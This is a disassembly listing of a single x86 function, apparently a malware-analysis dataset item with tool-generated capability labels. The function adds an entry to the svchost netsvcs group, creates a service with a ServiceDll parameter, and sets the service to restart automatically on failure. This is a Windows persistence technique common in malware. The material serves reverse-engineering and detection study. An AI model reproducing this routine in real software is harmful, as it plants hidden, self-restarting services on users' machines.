Function at 0x10017201
Capabilities:
Create service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], esp
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push reloc.WS2_32.dll_bind
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1001727c
push 0
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x10017b23
push 0x80000301
push 0
push 0x400
push 1
mov ebx, 0x1bc
call fcn.100acce0
add esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x100172bb
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x100172d0
add eax, 8
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.netsvcs
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10017308
push 0xdb
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
call fcn.10017b39
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x100174c0
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43b5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6bb9]
test eax, eax
jne 0x1001734d
mov eax, 0x100d424e
push eax
push 4
mov ebx, 0x148
call fcn.100acbb0
add esp, 0x34
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x1001746a
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.2008
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6bb9]
test eax, eax
jne 0x100173a0
mov eax, 0x100d424e
push eax
push 4
mov ebx, 0x148
call fcn.100acbb0
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x1001746a
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d482a
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6bb9]
test eax, eax
jne 0x100173f3
mov eax, 0x100d424e
push eax
push 4
mov ebx, 0x148
call fcn.100acbb0
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
jne 0x1001746a
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.2003
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6bb9]
test eax, eax
jne 0x10017446
mov eax, 0x100d424e
push eax
push 4
mov ebx, 0x148
call fcn.100acbb0
add esp, 0x34
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
jne 0x1001746a
xor eax, eax
jmp 0x1001746f
mov eax, 1
test eax, eax
je 0x100174c0
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x10017488
add eax, 8
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.netsvcs
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x100174c0
push 0x28d
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x100174ec
push 0x2e9
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
push 0x80000301
push 0
push dword [ebp - 0x10]
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10017509
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a0
call fcn.100ad2f0
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10017533
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x1001754c
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x20], eax
push 0x100dc2f3
push dword [ebp - 0x20]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1001758a
push ebx
call fcn.100abdd7
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x100175a3
mov eax, 0x100d42b8
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x100175b7
mov eax, 0x100d42b8
push eax
push 3
mov ebx, 0x1ac
call fcn.100aefe0
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x100175dd
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0xffffffff
jne 0x100177b5
mov dword [ebp - 0x20], esp
lea eax, [ebp - 4]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push reloc.WS2_32.dll_bind
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10017628
push 0x3ee
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x100177b5
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x10017647
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x20], eax
push dword [ebp - 8]
push 0x100dc2f3
push dword [ebp - 0x20]
mov ecx, 3
call fcn.1000565e
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10017688
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x1001769b
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x194
call fcn.100ad2e0
add esp, 0x10
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x100176c6
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x100176ef
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x194
call fcn.100ad2e0
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10017715
push ebx
call fcn.100abdd7
add esp, 4
fild dword [ebp - 0x28]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fild dword [ebp - 0x30]
fstp qword [ebp - 0x40]
fadd qword [ebp - 0x40]
fstp qword [ebp - 0x48]
mov dword [ebp - 0x4c], esp
fld qword [ebp - 0x48]
call fcn.10001713
push eax
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10017740
add eax, 8
push eax
push 7
push 0
push str.netsvcs
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x10017779
push 0x548
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10017789
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x100177b5
push 0x565
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
push 0
mov ebx, 0x6c8
call fcn.100afff0
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
push 2
push str.ServicesActive
push dword [ebp - 0x20]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x10017800
push 0x5e2
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10017813
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 1
jge 0x100178d4
push 0x80000301
push 0
push 0x100
push 0x80000301
push 0
push 0x10
push 2
mov ebx, 0xc8
call fcn.100adbf0
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
push 0x100d424e
push 0
push 0x100d424e
push 0
push 0x100d424e
push str._SystemRoot_System32_svchost.exe__k_netsvcs
push 1
push dword [ebp + 0x14]
push dword [ebp - 0x20]
push 0xf01ff
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x100178b4
push 0x6a6
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
push 1
call fcn.1000344a
jmp 0x10017819
cmp dword [ebp - 0x1c], 0
jne 0x10017951
push str.Description
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.SYSTEMCurrentControlSetServices_
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push eax
push 1
push 4
call fcn.10017cee
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10017931
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
push 1
call fcn.1000344a
jmp 0x100178d4
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0
jne 0x100179d5
push str.DisplayName
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.SYSTEMCurrentControlSetServices_
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push eax
push 1
push 4
call fcn.10017cee
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100179b5
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
push 1
call fcn.1000344a
jmp 0x10017958
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0
jne 0x10017a54
push str.ParametersServiceDll
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.SYSTEMCurrentControlSetServices_
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x20], eax
push 1
push 2
push 1
push dword [ebp + 0x18]
lea eax, [ebp - 0x20]
push eax
push 1
push 4
call fcn.10017cee
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10017a34
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
push 1
call fcn.1000344a
jmp 0x100179dc
cmp dword [ebp + 0x1c], 1
jne 0x10017acb
push str._reset_86400_actions_restart_1000
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.sc_failure
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x20], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_bind
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x10017aa8
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x2c0
call fcn.100ad020
add esp, 0x28
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10017acb
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10017af7
push 0xb3b
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 0x20], esp
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10017b23
push 0xb55
push 0x4043654
push 6
call fcn.100abddd
add esp, 0xc
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10017b33
push ebx
call fcn.100abdd7
add esp, 4
mov esp, ebp
pop ebp
ret 0x1c